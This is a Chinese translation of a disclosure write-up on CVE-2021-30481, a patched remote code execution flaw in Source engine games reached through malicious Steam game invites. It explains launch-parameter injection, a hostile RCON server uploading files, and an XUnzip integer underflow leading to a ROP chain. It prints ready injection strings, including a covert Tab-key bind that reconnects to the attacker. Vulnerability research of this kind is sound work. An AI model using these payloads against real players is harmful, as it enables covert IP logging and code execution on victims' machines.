Steam是世界上最受欢迎的PC游戏启动器。它使数以百万计的人有机会使用内置的朋友和聚会系统与朋友一起玩自己喜欢的视频游戏,因此可以安全地假设大多数用户在某个时间点或另一个时间点接受了邀请。那里没有真正的危险,对吗?
在此博客文章中,我们将研究攻击者如何结合使用Steam引擎API和Source引擎的各种功能来通过恶意Steam游戏邀请获得远程代码执行(RCE)。
为什么游戏邀请比您想象的做得更多
Steamworks API允许游戏开发人员通过一组不同的界面从其游戏中访问各种Steam功能。例如,该ISteamFriends
界面实现了诸如InviteUserToGame
和的功能ReplyToFriendMessage
,正如其名称所暗示的那样,您可以通过邀请他们参加游戏或仅向他们发送文本消息来与您的朋友互动。这怎么会成为问题?
当看着怎样InviteUserToGame
做才能使朋友加入您当前的游戏/大厅时,事情变得很有趣。在这里,您可以看到功能原型和官方文档中的摘录:
bool InviteUserToGame( CSteamID steamIDFriend, const char *pchConnectString );
“如果目标用户接受邀请,那么在启动游戏时,pchConnectString将被添加到命令行中。如果该用户已经在运行游戏,那么他们将收到带有连接字符串的GameRichPresenceJoinRequested_t回调。”
基本上,这意味着,如果您的朋友尚未启动游戏,则可以为游戏进程指定其他启动参数,这些参数将附加在命令行的末尾。对于在CS:GO上下文中的常规邀请,将添加start参数+connect_lobby
以及您的64位大厅ID。该命令又由您的游戏机控制台执行,最终使您进入指定的大厅。但是现在问题出在哪里呢?
在Source引擎游戏的启动参数中指定控制台命令时,没有任何限制。您可以任意执行您选择的任何游戏命令。在这里,您现在可以自由发挥自己的创造力;您可以在用户界面中配置的所有功能,以及除此以外的更多功能,通常可以使用控制台命令进行调整。这样就可以搞一些有趣的事情,例如弄乱人们的游戏语言,他们的敏感度,分辨率以及通常可以想到的所有与设置有关的东西。我认为,这已经很成问题了,但还不是很恶意。
使用控制台命令建立RCON连接
许多Source引擎游戏都附带有被称为Source RCON Protocol的东西。简而言之,该协议使服务器所有者能够以与通常在游戏客户端中进行配置的方式相同的方式,在其游戏服务器的上下文中执行控制台命令。这可以通过rcon
在执行任何控制台命令之前添加前缀来实现。为此,这要求您事先使用rcon_address
和rcon_password
命令连接游戏服务器并对其进行身份验证。您可能已经知道要去哪里了……攻击者可以InviteUserToGame
在第二个参数设置为的情况下执行该功能"+rcon_address yourip:yourport +rcon"
。一旦受害者接受邀请,游戏将启动并尝试重新连接到指定的地址没有任何通知。请注意,+rcon
最后需要附加的内容,因为客户端只有在尝试与服务器进行实际通信之前才会启动连接。所有这些已经非常令人担忧,因为这样会固有地将受害者的IP地址泄漏给攻击者。
滥用RCON连接
对Source引擎如何在客户端上实现RCON的进一步研究揭示了全部潜力。在中CRConClient::ParseReceivedData
,我们可以看到客户端如何响应来自服务器的不同类型的RCON数据包。在此工作的范围,我们只看看以下三种类型的数据包:SERVERDATA_RESPONSE_STRING
,SERVERDATA_SCREENSHOT_RESPONSE
,和SERVERDATA_CONSOLE_LOG_RESPONSE
。下图1显示了RCON数据包的总体外观。数据包传递的内容以Body
成员开头,并且通常以该Empty String
字段为空终止。
现在,从第一种类型开始,只要RCON连接保持打开状态,它就允许托管恶意RCON服务器的攻击者将任意字符串打印到连接的受害者的游戏机中。这与最终的RCE无关,但是太可笑了,不能将其省略。下面是一个例子,对于任何看到它出现在控制台中的人来说,肯定是令人惊讶的。
让我们继续进行令人兴奋的部分。为简化起见,我们仅说明客户端如何处理SERVERDATA_SCREENSHOT_RESPONSE
数据包,因为数据包的代码几乎完全相同SERVERDATA_CONSOLE_LOG_RESPONSE
。最终,客户端将接收到的数据包数据视为ZIP文件,并尝试查找名称screenshot.jpg
在其中的文件。然后,将该文件解压缩到CS:GO根安装文件夹中。不幸的是,我们无法控制屏幕快照保存在磁盘上的名称,也无法控制文件扩展名。屏幕截图始终保存为screenshotXXXX.jpg
,其中XXXX
代表一个以4开头的4位数字后缀0000
,只要已经存在具有该名称的文件,它就会增加。
void CRConClient::SaveRemoteScreenshot( const void* pBuffer, int nBufLen )
{
char pScreenshotPath[MAX_PATH];
do
{
Q_snprintf( pScreenshotPath, sizeof( pScreenshotPath ), "%s/screenshot%04d.jpg", m_RemoteFileDir.Get(), m_nScreenShotIndex++ );
} while ( g_pFullFileSystem->FileExists( pScreenshotPath, "MOD" ) );
char pFullPath[MAX_PATH];
GetModSubdirectory( pScreenshotPath, pFullPath, sizeof(pFullPath) );
HZIP hZip = OpenZip( (void*)pBuffer, nBufLen, ZIP_MEMORY );
int nIndex;
ZIPENTRY zipInfo;
FindZipItem( hZip, "screenshot.jpg", true, &nIndex, &zipInfo );
if ( nIndex >= 0 )
{
UnzipItem( hZip, nIndex, pFullPath, 0, ZIP_FILENAME );
}
CloseZip( hZip );
}
请注意,攻击者可以发送此类RCON数据包,而无需客户端事先请求。如果受害者接受了游戏邀请,攻击者已经可以上传任意文件。到目前为止,还不需要内存损坏。
FindZipItem中的整数下溢导致远程代码执行
功能OpenZip
,FindZipItem
,UnzipItem
,和CloseZip
属于一个名为库XZip / XUnzip。RCON处理程序使用的库的特定版本可以追溯到2003年。虽然我们发现实现中存在一些缺陷,但我们仅关注帮助我们执行代码的第一个缺陷。
一旦CRConClient::SaveRemoteScreenshot
调用FindZipItem
以检索有关screenshot.jpg
存档内文件的信息,TUnzip::Get
就会被调用。在内部TUnzip::Get
,存档是根据ZIP文件格式解析的。这包括处理所谓的central directory file header
。
int unzlocal_GetCurrentFileInfoInternal (unzFile file, unz_file_info *pfile_info,
unz_file_info_internal *pfile_info_internal, char *szFileName,
uLong fileNameBufferSize, void *extraField, uLong extraFieldBufferSize,
char *szComment, uLong commentBufferSize)
{
// ...
s=(unz_s*)file;
// ...
if (unzlocal_getLong(s->file,&file_info_internal.offset_curfile) != UNZ_OK)
err=UNZ_ERRNO;
// ...
}
在上面的代码中,local file header
位于中的的相对偏移量central directory file header
被读入file_info_internal.offset_curfile
。这允许在压缩文件中定位压缩文件的实际位置,并且稍后将发挥关键作用。
在稍后的某个地方TUnzip::Get
,将调用具有该名称的函数unzlocal_CheckCurrentFileCoherencyHeader
。在这里,local file header
给定以前获取的偏移量,现在可以处理前面提到的内容。相应的代码如下所示:
int unzlocal_CheckCurrentFileCoherencyHeader (unz_s *s,uInt *piSizeVar,
uLong *poffset_local_extrafield, uInt *psize_local_extrafield)
{
// ...
if (lufseek(s->file,s->cur_file_info_internal.offset_curfile + s->byte_before_the_zipfile,SEEK_SET)!=0)
return UNZ_ERRNO;
if (err==UNZ_OK)
if (unzlocal_getLong(s->file,&uMagic) != UNZ_OK)
err=UNZ_ERRNO;
// ...
}
首先,调用lufseek
将内部文件指针设置为指向local file header
存档中的。(在此可以假定存档前面没有其他字节)。
从这个假设可以得出s->byte_before_the_zipfile
的0
。
这非常类似于在C标准库中处理文件的方式。在我们的特定情况下,RCON处理程序使用该ZIP_MEMORY
标志打开了ZIP归档文件,从而指定了该归档文件实质上只是内存中的一个字节blob。因此,调用lufseek
仅更新文件对象中的成员。
int lufseek(LUFILE *stream, long offset, int whence)
{
// ...
else
{
if (whence==SEEK_SET) stream->pos=offset;
else if (whence==SEEK_CUR) stream->pos+=offset;
else if (whence==SEEK_END) stream->pos=stream->len+offset;
return 0;
}
}
一旦lufseek
返回,其名称的另一个函数unzlocal_getLong
被调用来读出神奇的字节用于标识local file header
。在内部,此函数调用unzlocal_getByte
四次以读取long值的每个字节。unzlocal_getByte
依次调用lufread
直接从文件流中读取。
int unzlocal_getLong(LUFILE *fin,uLong *pX)
{
uLong x ;
int i = 0;
int err;
err = unzlocal_getByte(fin,&i);
x = (uLong)i;
if (err==UNZ_OK)
err = unzlocal_getByte(fin,&i);
x += ((uLong)i)<<8;
// repeated two more times for the remaining bytes
// ...
return err;
}
int unzlocal_getByte(LUFILE *fin,int *pi)
{
unsigned char c;
int err = (int)lufread(&c, 1, 1, fin);
// ...
}
size_t lufread(void *ptr,size_t size,size_t n,LUFILE *stream)
{
unsigned int toread = (unsigned int)(size*n);
// ...
if (stream->pos+toread > stream->len) toread = stream->len-stream->pos;
memcpy(ptr, (char*)stream->buf + stream->pos, toread); DWORD red = toread;
stream->pos += red;
return red/size;
}
考虑到s->cur_file_info_internal.offset_curfile
可以通过修改central directory
结构中的相应字段来任意控制的事实,可以在第一次调用权时立即粉碎堆栈lufread
。如果将local file header
偏移量设置0xFFFFFFFE
为一系列操作,最终将导致代码执行。
首先,对lufseek
in的调用unzlocal_CheckCurrentFileCoherencyHeader
会将pos
文件流的成员设置为0xFFFFFFFE
。当unzlocal_getLong
被称为首次,unzlocal_getByte
也是调用。lufread
然后尝试从文件流中读取一个字节。用来确定要读取的内存量的toread
里面的变量lufread
将等于1
,因此条件if (stream->pos + toread > stream->len)
(无符号比较)变为true
。stream->pos + toread
计算得出的结果0xFFFFFFFE + 1 = 0xFFFFFFFF
,因此可能大于存储在中的档案的总长度stream->len
。接下来,toread
使用stream->len - stream->pos
计算来更新变量stream->len - 0xFFFFFFFE
。此计算会下溢并有效地进行计算stream->len + 2
。请注意如何呼叫memcpy
源参数的计算同时溢出。最后,可以将对to的调用memcpy
视为等效:
memcpy(ptr, (char*)stream->buf - 2, stream->len + 2);
给定ptr
指向一个局部变量的大小unzlocal_getByte
只是一个字节的字节,这将立即破坏堆栈。
unzlocal_getByte
调用lufread(&c, 1, 1, fin)
与c
作为一个unsigned char
。
幸运的是,该memcpy
调用将整个存档blob写入堆栈,这使我们还可以控制所写内容的内容。
此时,剩下要做的就是构造一个ZIP归档文件,该文件的local file header
偏移量设置为0xFFFFFFFE
,否则它主要由组成ROP gadgets
。为此,我们从包含单个屏幕截图文件的合法存档开始。然后,如上所述,我们破坏了偏移量,并根据故障EIP
值观察了将小工具放在何处。就其ROP chain
本身而言,我们利用了以下事实:加载到游戏中的DLL之一xinput1_3.dll
具有ASLR
禁用的。话虽如此,它的基地址可以在某种程度上可靠地猜测出来。只有在其首选地址已被另一个DLL占用时,该利用才会失败。如果不进行适当的统计测量,则估计被利用的可能性大约为80%。有关此的更多详细信息,请随时查看PoC,该链接在本文的最后一部分中。
进一步提高RCE
有趣的是,在最后,您可以再次看到此漏洞利用方法从启动参数注入和RCON功能中受益。
让我们从一个明显的事实开始,前面讨论过的任意文件上传极大地帮助了这种利用,从而发挥了其全部潜力。用一个shellcode来全部或全部统治它们:无论是执行计算器还是以前上传的恶意二进制文件,都没有关系。所有需要做的就是在漏洞利用程序外壳代码中更改单个字符串。二进制文件是否已与.png
扩展名一起存储都没有关系。
最后,还有一些事情可以做,以使漏洞利用更加强大。我们不能改变这样的事实,即由于基地址的运气不好,利用尝试有时会失败,但是如果我们有无限次尝试执行代码怎么办?似乎不合理?这实际上是非常合理的。
Source引擎带有console命令host_writeconfig
,该命令允许我们将当前游戏配置写出到磁盘上的config文件中。显然,我们也可以使用游戏邀请来注入此命令。但是,在执行此操作之前,我们可以使用它bind
来配置玩家经常按下的任何键,从而从一开始就执行RCON连接命令。如果您使按键保持原始功能,则可以得到加分,以保持隐身状态。一旦配置了这样的密钥,就可以将设置写出到磁盘上,以使更改变得持久。这是一个示例,显示如何在每次按下Tab键时即可秘密配置Tab键以启动传出的RCON连接。
+bind "tab" "+showscores;rcon_address ip:port;rcon" +host_writeconfig
现在,仅接受一个邀请后,您就可以在受害者查看计分板时尝试对受害者进行攻击。
时间轴和最后的话
-
[2019-06-05]报告给Valve on HackerOne
-
[2019-09-14]错误分类
-
[2020-10-23]赏金已支付($ 8000),并通知了初步修复已在《军团要塞2》中部署
-
[2021-04-17]最终补丁
PoC漏洞利用代码可以在我的github上找到。Valve给该漏洞的严重等级为9.0(严重)。
最近的更新使得不再可能进行此利用。首先,Valve删除了令人讨厌的RCON命令处理程序,从而使得任意文件上传和解压缩代码中的代码执行都无法进行。另外,至少对于CS:GO,Valve现在似乎使用GetLaunchCommandLine而不是OS命令行。但是,在CS:S(也许还有其他游戏?)中,OS命令行显然仍在使用。毕竟,至少会显示一条警告,显示您的游戏即将开始使用的参数。下图显示了接受重新绑定密钥并同时建立RCON连接的邀请时的警告显示。
请记住,如果您单击Ok此处,则表示您或多或少同意安装永久性IP记录器。
最后,我想谈谈另一件事。就个人而言,必须就Valve及其漏洞赏金计划的情况说几句话。综上所述,关于此错误的存在的公开披露引起了人们对于Valve对错误的缓慢响应时间的震惊。我从不想指责瓦尔(Valve)抱怨自己的经历。从长远来看,我也想真正改变一些东西。其他研究人员为寻找错误所做的努力和将要付出的努力不会白费。希望将来情况会有所改善,因此我们可以很高兴与Valve再次合作,以增强其游戏的安全性。
本文翻译自:https://secret.club/2021/04/20/source-engine-rce-invite.html
本文始发于微信公众号(Ots安全):CVE-2021-30481:通过游戏邀请执行源引擎远程代码
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论